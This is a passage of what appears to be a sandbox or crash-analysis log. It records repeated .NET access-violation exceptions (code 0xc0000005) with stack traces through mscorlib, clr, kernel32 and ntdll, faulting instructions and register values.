LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 45 af ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5bec registers.esp: 86630228 registers.edi: 86634688 registers.eax: 0 registers.ebp: 86634696 registers.edx: 49657488 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5cb3 0x75e396c 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 38 b2 ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e58f9 registers.esp: 86634624 registers.edi: 86634688 registers.eax: 0 registers.ebp: 86634696 registers.edx: 49459664 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5cb3 0x75e396c 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 c5 b1 ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e596c registers.esp: 86630228 registers.edi: 86634688 registers.eax: 0 registers.ebp: 86634696 registers.edx: 49459664 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5edd 0x75e398f 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 38 b2 ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e58f9 registers.esp: 86634644 registers.edi: 86634708 registers.eax: 0 registers.ebp: 86634716 registers.edx: 49459664 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5edd 0x75e398f 0x75e3757 0x75e362d mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x382cf2 @ 0x722a2cf2 mscorlib+0x34c5a2 @ 0x7226c5a2 mscorlib+0xd4c6a0 @ 0x72c6c6a0 mscorlib+0xa2a294 @ 0x7294a294 mscorlib+0x34bece @ 0x7226bece mscorlib+0x34be97 @ 0x7226be97 0x75e359e 0x75e3417 mscorlib+0x34b4fd @ 0x7226b4fd mscorlib+0x34b466 @ 0x7226b466 mscorlib+0x34b429 @ 0x7226b429 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x34b2d2 @ 0x7226b2d2 mscorlib+0x34b1f7 @ 0x7226b1f7 mscorlib+0x34b13b @ 0x7226b13b mscorlib+0x30d3a5 @ 0x7222d3a5 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4a153 CorDllMainForThunk-0x423a8 clr+0x10f1cc @ 0x72fef1cc LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x4a0eb CorDllMainForThunk-0x42410 clr+0x10f164 @ 0x72fef164 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 c5 b1 ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e596c registers.esp: 86630244 registers.edi: 86634708 registers.eax: 0 registers.ebp: 86634716 registers.edx: 49459664 registers.ebx: 46084804 registers.esi: 49459232 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3903 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 38 b2 ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e58f9 registers.esp: 146730120 registers.edi: 146730184 registers.eax: 0 registers.ebp: 146730192 registers.edx: 46679708 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3903 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 c5 b1 ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e596c registers.esp: 146725724 registers.edi: 146730184 registers.eax: 0 registers.ebp: 146730192 registers.edx: 46679708 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3926 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 f8 b0 ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5a39 registers.esp: 146730120 registers.edi: 146730184 registers.eax: 0 registers.ebp: 146730192 registers.edx: 46685108 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3926 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 85 b0 ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5aac registers.esp: 146725724 registers.edi: 146730184 registers.eax: 0 registers.ebp: 146730192 registers.edx: 46685108 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3949 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 b8 af ba 6a 89 45 c8 83 7d c8 00 74 1f exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5b79 registers.esp: 146730120 registers.edi: 146730184 registers.eax: 0 registers.ebp: 146730192 registers.edx: 46685180 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e3949 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d DllGetClassObjectInternal+0x55056 CorDllMainForThunk-0x374a5 clr+0x11a0cf @ 0x72ffa0cf BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757f33ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x778d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x778d9ea5 exception.instruction_r: 39 09 e8 45 af ba 6a 89 45 bc 8b 55 bc b9 b0 af exception.instruction: cmp dword ptr [ecx], ecx exception.exception_code: 0xc0000005 exception.symbol: exception.address: 0x75e5bec registers.esp: 146725724 registers.edi: 146730184 registers.eax: 0 registers.ebp: 146730192 registers.edx: 46685180 registers.ebx: 47053692 registers.esi: 46532216 registers.ecx: 0	1
__exception__ March 14, 2023, 10:34 a.m.	stacktrace: 0x75e5ca5 0x75e396c 0x75e3757 0x75e75e7 0x75e7596 mscorlib+0x32de48 @ 0x7224de48 mscorlib+0x3022a6 @ 0x722222a6 mscorlib+0x32dd91 @ 0x7224dd91 mscorlib+0x32dc4c @ 0x7224dc4c mscorlib+0x32db05 @ 0x7224db05 mscorlib+0x32d9c8 @ 0x7224d9c8 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x72ef264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72ef2e95 DllGetClassObjectInternal+0x4825c CorDllMainForThunk-0x4429f clr+0x10d2d5 @ 0x72fed2d5 LogHelp_TerminateOnAssert+0x920d GetPrivateContextsPerfCounters-0x10235 clr+0x77d4d @ 0x72f57d4d LogHelp_TerminateOnAssert+0x927b GetPrivateContextsPerfCounters-0x101c7 clr+0x77dbb @ 0x72f57dbb LogHelp_TerminateOnAssert+0x9348 GetPrivateContextsPerfCounters-0x100fa clr+0x77e88 @ 0x72f57e88 DllUnregisterServerInternal+0x22cb DllRegisterServerInternal-0x604d clr+0xc3bf @ 0x72eec3bf DllGetClassObjectInternal+0x48208 CorDllMainForThunk-0x442f3 clr+0x10d281 @ 0x72fed281 DllGetClassObjectInternal+0x48159 CorDllMainForThunk-0x443a2 clr+0x10d1d2 @ 0x72fed1d2 DllGetClassObjectInternal+0x47f09 CorDllMainForThunk-0x445f2 clr+0x10cf82 @ 0x72fecf82 DllGetClassObjectInternal+0x2a4d4 CorDllMainForThunk-0x62027 clr+0xef54d @ 0x72fcf54d 